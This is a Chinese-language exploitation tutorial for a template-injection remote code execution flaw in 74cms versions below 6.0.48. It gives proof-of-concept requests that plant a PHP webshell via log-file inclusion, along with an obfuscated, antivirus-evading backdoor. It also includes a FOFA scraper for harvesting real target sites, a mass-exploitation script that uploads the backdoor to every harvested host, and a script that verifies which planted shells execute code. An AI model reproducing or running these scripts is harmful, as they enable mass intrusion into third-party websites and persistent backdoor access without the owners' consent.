简介
骑士cms人才系统,是一项基于PHP+MYSQL为核心开发的一套免费 + 开源专业人才网站系统
公告地址:
http://www.74cms.com/news/show-2497.html
/Application/Common/Controller/BaseController.class.php文件的assign_resume_tpl函数因为过滤不严格,导致了模板注入,可以进行远程命令执行
影响版本
骑士 CMS < 6.0.48
环境搭建
这里使用phpstudy进行搭建
下载地址:
http://www.74cms.com/download/index.html
开始测试:
1、注入模板到日志文件
发送poc: http://127.0.0.1/74cms/upload/index.php?m=home&a=assign_resume_tpl POST: variable=1&tpl=<?php fputs(fopen("shell.php","w"),"<?php eval(\$_POST[x]);?>")?>; ob_flush();?>/r/n<qscms/company_show 列表名="info" 企业id="$_GET[\'id\']"/>
注意的是我用win10电脑做测试,注入会被杀毒软件拦截,注意做免杀
根据报错查看日志:
路径为WWW\74cms\upload\data\Runtime\Logs\Home
2、文件包含
发送poc:
http://127.0.0.1/74cms/upload/index.php?m=home&a=assign_resume_tpl
POST:
variable=1&tpl=data/Runtime/Logs/Home/20_12_15.log(日志文件名为日期)
此刻在根目录会成一个后门文件
3.直接用后门工具连接
知道了漏洞利用的过程,下面是自动化程序设计步骤
1.批量爬取该框架的url,这里需要换fofa的cookie才能爬取成功,要不只能爬取第一页
import requests import base64 from lxml import etree import time import sys #第1页 #https://fofa.so/result?_=1608294544861&page=2&per_page=10&qbase64=ImdsYXNzZmlzaCIgJiYgcG9ydD0iNDg0OCI%3D def fofa_search(search_data,page): #search_data=\'"glassfish" && port="4848" && country="CN"\' headers={ \'cookie\':\'_fofapro_ars_session=53e19ce25439411e6b63466e166b9c27;result_per_page=20\',#记得要换cookie } for yeshu in range(1,page+1): url=\'https://fofa.so/result?page=\'+str(yeshu)+\'&qbase64=\' search_data_bs=str(base64.b64encode(search_data.encode("utf-8")), "utf-8") urls=url+search_data_bs try: print(\'正在提取第\' + str(yeshu) + \'页\') result=requests.get(urls,headers=headers).content #print(result.decode(\'utf-8\')) soup = etree.HTML(result) ip_data=soup.xpath(\'//div[@class="re-domain"]/a[@target="_blank"]/@href\') ipdata=\'\n\'.join(ip_data) print(ip_data) with open(r\'ip2.txt\',\'a+\') as f: f.write(ipdata+\'\n\') f.close() time.sleep(5)#控制时间,防止过快网站反爬虫 except Exception as e: print("出错啦!!!") if __name__ == \'__main__\': #page=sys.argv[2] page=110 #爬取多少页数 search=\'74cms\' fofa_search(search,int(page))
2.准备免杀的马
<?php
class JYWH{
function __destruct(){
$VKMF=\'PETFhL\'^"\x31\x36\x27\x23\x1a\x38";
return @$VKMF("$this->BTMV");
}
}
$jywh=new JYWH();
@$jywh->BTMV=isset($_GET[\'id\'])?base64_decode($_POST[\'mr6\']):$_POST[\'mr6\'];
?>
3.把上面的马利用base64编码保护起来
base64_decode("PD9waHAgY2xhc3MgSllXSHsKICAgIGZ1bmN0aW9uIF9fZGVzdHJ1Y3QoKXsKICAgICAgICAkVktNRj0nUEVURmhMJ14iXHgzMVx4MzZceDI3XHgyM1x4MWFceDM4IjsKICAgICAgICByZXR1cm4gQCRWS01GKCIkdGhpcy0+QlRNViIpO319CiRqeXdoPW5ldyBKWVdIKCk7CkAkanl3aC0+QlRNVj1pc3NldCgkX0dFVFsnaWQnXSk/YmFzZTY0X2RlY29kZSgkX1BPU1RbJ21yNiddKTokX1BPU1RbJ21yNiddOz8+")
4.把马写进网站的php代码
<?php $myfile = fopen("confgii.php", "w"); fwrite($myfile,base64_decode("PD9waHAgY2xhc3MgSllXSHsKICAgIGZ1bmN0aW9uIF9fZGVzdHJ1Y3QoKXsKICAgICAgICAkVktNRj0nUEVURmhMJ14iXHgzMVx4MzZceDI3XHgyM1x4MWFceDM4IjsKICAgICAgICByZXR1cm4gQCRWS01GKCIkdGhpcy0+QlRNViIpO319CiRqeXdoPW5ldyBKWVdIKCk7CkAkanl3aC0+QlRNVj1pc3NldCgkX0dFVFsnaWQnXSk/YmFzZTY0X2RlY29kZSgkX1BPU1RbJ21yNiddKTokX1BPU1RbJ21yNiddOz8+")); fclose($myfile);?>
执行上面的代码会生存一个后门文件
该漏洞手动测试流程
http://127.0.0.1/74cms/upload/?m=home&a=assign_resume_tpl 1. variable=1&tpl=<?php $myfile = fopen("confgii.php", "w"); fwrite($myfile,base64_decode("PD9waHAgY2xhc3MgSllXSHsKICAgIGZ1bmN0aW9uIF9fZGVzdHJ1Y3QoKXsKICAgICAgICAkVktNRj0nUEVURmhMJ14iXHgzMVx4MzZceDI3XHgyM1x4MWFceDM4IjsKICAgICAgICByZXR1cm4gQCRWS01GKCIkdGhpcy0+QlRNViIpO319CiRqeXdoPW5ldyBKWVdIKCk7CkAkanl3aC0+QlRNVj1pc3NldCgkX0dFVFsnaWQnXSk/YmFzZTY0X2RlY29kZSgkX1BPU1RbJ21yNiddKTokX1BPU1RbJ21yNiddOz8+")); fclose($myfile);?>; ob_flush();?>/r/n<qscms/company_show 列表名="info" 企业id="$_GET[\'id\']"/> 2. variable=1&tpl=data/Runtime/Logs/Home/21_01_04.log 3. http://127.0.0.1/74cms/upload/confgii.php mr6=phpinfo(); http://127.0.0.1/74cms/upload/confgii.php?id=dd mr6=cGhwaW5mbygp;
5,准备环节都做好了,下面是批量该漏洞的验证,同时上传后门
import requests import time headers={ \'Connection\': \'keep-alive\', \'Cache-Control\': \'max-age=0\', \'Upgrade-Insecure-Requests\': \'1\', #模拟用户 Kit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 #模拟引擎 Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html) #更多爬虫引擎:https://www.cnblogs.com/iack/p/3557371.html \'User-Agent\': \'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0\', \'Sec-Fetch-Dest\': \'document\', \'Accept\': \'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\', \'Sec-Fetch-Site\': \'none\', \'Sec-Fetch-Mode\': \'navigate\', \'Sec-Fetch-User\': \'?1\', \'Accept-Encoding\': \'gzip, deflate, br\', \'Accept-Language\': \'zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7\', } def check_vuln(): payload_inject= \'/?m=home&a=assign_resume_tpl\' shell= \'/confgii.php\' proxys = { \'http\':\'http://127.0.0.1:8080\' }#代理 data = { \'variable\': \'1\', \'tpl\': \'<?php $myfile = fopen("confgii.php", "w");fwrite($myfile,base64_decode("PD9waHAgY2xhc3MgSl\'\ \'lXSHsKICAgIGZ1bmN0aW9uIF9fZGVzdHJ1Y3QoKXsKICAgICAgICAkVktNRj0nUEVURmhMJ14iXHgzMVx4MzZceDI3XH\'\ \'gyM1x4MWFceDM4IjsKICAgICAgICByZXR1cm4gQCRWS01GKCIkdGhpcy0+QlRNViIpO319CiRqeXdoPW5ldyBKWVdIKCk7\'\ \'CkAkanl3aC0+QlRNVj1pc3NldCgkX0dFVFsnaWQnXSk/YmFzZTY0X2RlY29kZSgkX1BPU1RbJ21yNiddKTokX1BPU1RbJ2\'\ \'1yNiddOz8+"));fclose($myfile);?>;ob_flush();?>/r/n<qscms/company_show 列表名="info" />\' } data2 = { \'variable\': \'1\', \'tpl\': \'data/Runtime/Logs/Home/21_01_04.log\' } i=1 for ip in open(\'ip2.txt\'): ip=ip.replace(\'\n\',\'\') inject_url=ip+payload_inject try: print(str(i)+": checking--------->"+ip) vuln_code_w=requests.post(inject_url,data, headers=headers, verify=False, timeout=3).status_code #verify=Falses i = i+1 print(vuln_code_w) time.sleep(0.2) except Exception as e: print(\'出错啦!\') time.sleep(0.2) shell_url=ip+shell try: vuln_code_2=requests.post(inject_url,data2, headers=headers, verify=False, timeout=3).status_code print(vuln_code_2) time.sleep(0.2) except Exception as e: print("出错啦!") time.sleep(0.2) try: vuln_code=requests.get(shell_url, headers=headers, verify=False, timeout=3).status_code print(vuln_code) if vuln_code ==200: with open(r\'vuln.txt\',\'a+\') as f: f.write(shell_url+\'\n\') f.close() print(\'成功上传shell:\'+shell_url) else: print("不存在该漏洞!") time.sleep(0.2) except Exception as e: print("出错啦!") time.sleep(0.2) if __name__ == \'__main__\': check_vuln()
6.批量检测后门是否可以代码执行
import requests import time headers={ \'Connection\': \'keep-alive\', \'Cache-Control\': \'max-age=0\', \'Upgrade-Insecure-Requests\': \'1\', #模拟用户 Kit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 #模拟引擎 Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html) #更多爬虫引擎:https://www.cnblogs.com/iack/p/3557371.html \'User-Agent\': \'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0\', \'Sec-Fetch-Dest\': \'document\', \'Accept\': \'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\', \'Sec-Fetch-Site\': \'none\', \'Sec-Fetch-Mode\': \'navigate\', \'Sec-Fetch-User\': \'?1\', \'Accept-Encoding\': \'gzip, deflate, br\', \'Accept-Language\': \'zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7\', } def check_vuln(): shell= \'/confgii.php\' proxys = { \'http\':\'http://127.0.0.1:8080\' }#代理 data2 = { \'mr6\': \'print("adminokok1");\' } i=1 for ip in open(\'vuln.txt\'): ip=ip.replace(\'\n\',\'\') try: vuln_code=requests.post(ip, data2, headers=headers, verify=False, timeout=3) a=vuln_code.text #print(a) if a==\'adminokok1\': print(ip+" :-------------> 检测到已经成功上传后门!!!") with open(r\'shell.txt\',\'a+\') as f: f.write(ip+\'\n\') f.close() else: print(ip+" :-----> 上传后门失败!") time.sleep(0.5) except Exception as e: print("出错啦!") time.sleep(0.2) if __name__ == \'__main__\': check_vuln()